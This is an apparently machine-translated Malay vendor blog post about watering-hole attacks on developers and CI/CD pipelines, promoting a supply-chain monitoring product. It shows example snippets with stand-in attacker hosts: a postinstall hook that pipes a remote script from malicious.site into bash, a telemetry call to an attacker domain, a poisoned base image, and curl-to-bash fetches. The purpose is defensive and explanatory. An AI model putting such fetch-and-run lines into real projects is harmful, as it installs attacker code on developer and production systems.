Binaan Yang Membina Pintu Belakang
Binaan lulus. Perkhidmatan digunakan. Semuanya kelihatan bersih. Tetapi tersembunyi di dalamnya ialah kebergantungan beracun yang diambil daripada sumber yang dikompromi. Itu serangan lubang air klasik.
Dalam senario ini, penyerang tidak menceroboh infrastruktur anda. Mereka menunggu pembangun melawat sumber yang dipercayai, tapak dokumen, repo pakej atau halaman muat turun SDK yang telah mereka kompromikan. Kod berniat jahat telah masuk ke dalam infrastruktur anda. pipeline dengan arahan tarik atau pasang yang mudah.
Sebaik sahaja ia dihantar, penyerang mempunyai kedudukan senyap dalam pengeluaran. Dan anda CI/CD pipeline hanya membantu mereka sampai ke sana.
Apakah Serangan Lubang Air (Dan Mengapa Pembangun Perlu Peduli)
Jadi, apakah itu serangan lubang air? Ia berlaku apabila penyerang menjejaskan sumber yang telah dipercayai oleh pembangun atau pasukan. Daripada menyasarkan anda secara langsung, mereka merosakkan laman web atau repo biasa yang mungkin anda gunakan, dan menunggu seseorang untuk terpedaya.
Serangan 'watering hole' berbeza daripada pancingan data, yang biasanya menyasarkan kelayakan dan daripada serangan rantaian bekalan huluan yang menyuntik kod buruk ke dalam repo utama pakej. Di sini, ancaman datang daripada ekosistem di sekeliling anda: dokumen yang menambah pintu belakang, binari SDK yang ditukar dengan trojan atau daftar pakej yang menyediakan versi yang diubah suai.
Dan sumber pembangunan adalah sasaran utama: pengurus pakej (npm, pip, Maven), repositori GitHub awam, imej Docker yang kelihatan rasmi dan halaman muat turun. Jika mana-mana daripada ini terjejas, penyerang sudah berada di dalam aliran pembangunan anda.
Tempat Perangkap Ditanam: Contoh Sebenar yang Berfokus pada Pembangunan Serangan Lubang Air
Serangan lubang air mempunyai pelbagai bentuk. Berikut adalah beberapa cara ia terlepas daripada pembangun:
- Tapak dokumen yang terjejas:
import { init } daripada 'malicious-lib';
init({ telemetri: 'https://penyerang.com' });
Satu contoh sah yang diubah secara halus dalam dokumen. Pembangun menyalin, menampal dan meneruskan.
- Skrip pasca pemasangan yang berniat jahat dalam PR awam:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
Nampak seperti PR yang membantu, tetapi ia memasang perisian hasad secara senyap.
- Perduaan SDK yang ditrojankan:
./sdk-install.sh # Mengandungi pemuat peringkat kedua yang tersembunyi
Binari dimuat turun daripada URL yang kelihatan dipercayai tetapi telah diubah suai. - Imej asas Docker yang dimanipulasi:
DARIPADA nod:slim-malicious - LARIKAN bash /tmp/hidden-installer.sh
Nama imej kelihatan betul, tetapi ia dihoskan pada pendaftaran yang dirampas atau dipalsukan.
Semua serangan lubang air ini bergantung pada kepercayaan pembangun dan aliran kerja yang bergerak pantas untuk mengelakkan pengesanan.
Dari Komputer Riba ke PipelineBagaimana Jangkitan Menyebar
Serangan lubang air tidak terhenti di pelayar web sahaja. Sebaik sahaja kod berniat jahat memasuki persekitaran setempat, ia boleh bergerak secara senyap merentasi seluruh rantaian penghantaran anda:
- Pembangun melawat sumber yang dikompromi (dokumen, repo, tapak SDK).
- Kod berniat jahat mendarat di persekitaran pembangunan setempat.
- Fail atau kebergantungan yang dijangkiti ditambah pada commit dan ditolak.
- CI/CD kerja menjalankan langkah bina dan pasang menggunakan komponen yang terjejas ini.
- Artifak dihantar dan digunakan, menyematkan kod penyerang dalam pengeluaran.
Rantaian ini boleh terungkap dalam beberapa jam, terutamanya dalam pasukan berkelajuan tinggi.
Untuk menggambarkan ini, bayangkan a pipeline gambar rajah yang menjejaki laluan jangkitan dari:
- Stesen Kerja Pembangun: Editor, terminal, skrip pemasangan.
- Kawalan Sumber: Commits, PR, penggabungan.
- CI Pipeline: Pemasangan kebergantungan, pelaksanaan skrip, binaan imej.
- pengeluaran: Pelepasan, penggunaan dan akses pengguna artifak.
Pada setiap langkah, serangan lubang air boleh tidak disedari tanpa perlindungan yang betul.
Senario Risiko Sebenar dalam CI/CD
Serangan lubang air tidak hanya berhenti pada mesin pembangunan. Ia memanfaatkan anda pipeline terhadap anda. Risiko sebenar termasuk:
- Imej asas yang terjejas:
DARIPADA attacker-registry.io/python:3.10-slim
Perisian hasad tersembunyi telah ditambah semasa pembinaan. - Mengambil skrip atau alat yang tidak disematkan:
curl -s https://pkg.example.com/latest.sh | bash
"Terkini" boleh berubah pada bila-bila masa, terutamanya jika DNS dirampas. - Log CI yang dijangkiti (contoh):
[+] Memasang alatan…
[+] Mengambil dari https://tools.fakecdn.net/bootstrap.sh
[+] Binaan selesai.
Semuanya nampak baik pada permukaannya. Tetapi muatannya sudah ada dalam artifak itu.
Serangan lubang air menyalahgunakan kepercayaan CI/CD persekitaran diletakkan dalam sumber dan skrip luaran.
Melanggar Serangan Lubang Penyiraman Rantaian: Pertahanan Bahagian Pembangun
Untuk menghentikan serangan lubang air lebih awal, anda perlu mengetatkan amalan pembangunan anda. Pencegahan serangan mesti bermula sebelum kod memasuki kod anda CI/CD pipeline:
- Kebergantungan pinElakkan tag terapung seperti TerkiniGunakan fail kunci untuk memastikan binaan deterministik.
- Sahkan jumlah cek: Sahkan semua skrip jauh, binari dan pakej.
- Gunakan cermin peribadi: Cerminkan daftar pakej kritikal untuk mengelakkan pendedahan kepada sumber huluan yang terjejas.
- Sahkan imej asas: Gunakan ringkasan imej (@sha256) dan bukannya tag. Imbas semua imej sebelum digunakan.
- Main SCA/SAST pra-gabunganAutomatikkan imbasan dalam aliran kerja PR anda untuk mengesan ancaman lebih awal.
- Gunakan Git hooks: Kesan dan sekat perubahan berisiko tinggi sebelum ia mencapai kawalan versi.
- Rawat kod pihak ketiga seperti input yang tidak dipercayaiPerpustakaan yang digunakan secara meluas pun boleh membawa risiko tersembunyi.
Keselamatan mesti diterapkan dalam aliran kerja pembangun. Tabiat dan kawalan ini membantu menyekat serangan lubang air sebelum ia memuncak.
Pengajaran dari Padang
Kes 1: Strim Peristiwa (npm)
Penyelenggara yang dipercayai memindahkan kawalan pakej popular. Penyelenggara baharu itu menambah kebergantungan yang secara senyap-senyap mencuri data dompet kripto.
- Di mana ia gagalTiada semakan kebergantungan transitif.
- Pelajaran: Gunakan automatik SCA untuk menjejaki dan menandakan perubahan dalam kebergantungan tidak langsung.
Kes 2: Pemuat Naik Codecov Bash
Penyerang mengubah skrip bash yang digunakan dalam banyak CI pipelines. Ia mengeluarkan rahsia daripada persekitaran CI.
- Di mana ia gagalTiada pengesahan checksum.
- PelajaranSentiasa sahkan alatan yang dimuat turun sebelum menjalankannya CI/CD.
Kedua-duanya adalah serangan lubang air. Kedua-duanya boleh dihentikan lebih awal.
Pencegahan dalam Amalan: Pemikiran & Peralatan DevSecOps
Mencegah serangan lubang air bermakna membina budaya pembangun yang peka terhadap keselamatan:
- Anjakan keselamatan ke kiri: Latih pembangun untuk mempersoalkan skrip yang tidak dijangka, perubahan kebergantungan atau langkah pemasangan.
- Automate SCA/SAST: Gunakan alat yang disepadukan ke dalam aliran kerja PR untuk mencegah kerentanan yang diketahui dan corak berisiko.
- Gunakan pengesahan hash di mana-mana sahajaSebarang sumber luaran perlu disahkan sebelum pelaksanaan.
- Pantau dalam masa nyata: Pencegahan sahaja tidak mencukupi.
Alatan seperti Xygeni menawarkan keterlihatan masa nyata merentasi keseluruhan rantaian bekalan perisian anda. Xygeni sentiasa memantau persekitaran pembangun, aktiviti Git, CI pipelines, dan daftar artifak untuk mengesan:
- Perubahan kebergantungan yang anomali.
- Pengubahsuaian yang mencurigakan dalam skrip binaan.
- Corak akses luar biasa kepada sumber pihak ketiga.
Dengan Xygeni, pasukan boleh menyekat ancaman yang diperkenalkan melalui serangan lubang air sebelum ia merebak, dan mengesan sumber kompromi jika ada yang terlepas pandang. Ia dibina khusus untuk aplikasi moden. CI/CD persekitaran, dengan tumpuan pada amaran yang boleh diambil tindakan dan kebolehgunaan yang diutamakan oleh pembangun.
Nota Akhir: Cepat Pipelines, Risiko Lebih Pantas
Sekarang anda tahu apakah serangan lubang berair itu Anda tahu bahawa mereka tidak perlu menceroboh infrastruktur anda secara langsung. Mereka berjaya dengan meracuni alatan dan laman web yang telah dipercayai oleh pembangun. Dari situ, Matlamat CI/CD pipeline boleh menjadi sistem pengedaran penyerang.
Risiko sebenar bukan sekadar kompromi, tetapi seberapa cepat kod berniat jahat bergerak melalui anda pipeline.
Integrasikan pemeriksaan keselamatan ke dalam aliran pembangunan anda, bukan sebagai langkah susulan. Kerana sebaik sahaja ia dihantar, ia sudah terlambat.







